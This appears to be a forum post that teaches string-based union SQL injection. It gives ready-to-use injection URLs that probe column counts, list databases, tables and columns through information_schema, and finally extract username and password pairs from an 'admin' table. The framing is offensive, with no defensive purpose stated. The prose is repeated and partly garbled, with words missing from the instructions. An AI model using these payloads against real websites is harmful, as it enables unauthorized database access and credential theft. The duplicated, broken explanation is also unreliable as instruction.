N
879
Here is a tutorial on String Based SQL Injection. This must certainly help many of you guys Awink
What is String Based SQL injection
String Based SQL Injection is used when the target website does not display the result when we enter a query.
Here are some Common Issues and cases when you have to use String Based SQL Injection :
Code:
Order By does not work Example : Order by 10000 does not show error/
Group By statement does not work.
Queries related to SQL injection doesnt work.
The Solution
So the solution for solving when you are having problem is ,just modify your syntax a bit.
So we add a at the end of the link and we add a + at the end of the -- .
String - Union Based SQL Injection
Obtaining Columns
Obtaining the Databases
Obtaining the Tables from the current Database
.Obtaining Column names from a specific table (which in this example is "admin")
Obtaining Data from Column names
credits: Rain112/CHF
What is String Based SQL injection
String Based SQL Injection is used when the target website does not display the result when we enter a query.
Here are some Common Issues and cases when you have to use String Based SQL Injection :
Code:
Order By does not work Example : Order by 10000 does not show error/
Group By statement does not work.
Queries related to SQL injection doesnt work.
The Solution
So the solution for solving when you are having problem is ,just modify your syntax a bit.
Code:
http://site.com/index.php?id=10 order by 1000--+
String - Union Based SQL Injection
Obtaining Columns
Code:
Code:
http://www.site.com/index.php?id=234 order by 13--+
Obtaining the Databases
Code:
Code:
http://www.site.com/index.php?id=-234 UNION SELECT 1,2,3,4,5,group_concat(schema_name,0x0a),7,8,9,10 from information_schema.schemata--+
Code:
Code:
http://www.site.com/index.php?id=-234 UNION SELECT 1,2,3,4,5,group_concat(table_schema,0x0a),7,8,9,10 from information_schema.tables where table_schema=database()--+
Code:
Code:
http://www.site.com/index.php?id=-234 UNION SELECT 1,2,3,4,5,group_concat(column_name,0x0a),7,8,9,10 from information_schema.columns where table_name=0x61646d696e--+
Code:
Code:
http://www.site.com/index.php?id=-234 UNION SELECT 1,2,3,4,5,group_concat(username,0x3a,password,0x0a),7,8,9,10 from admin--+
credits: Rain112/CHF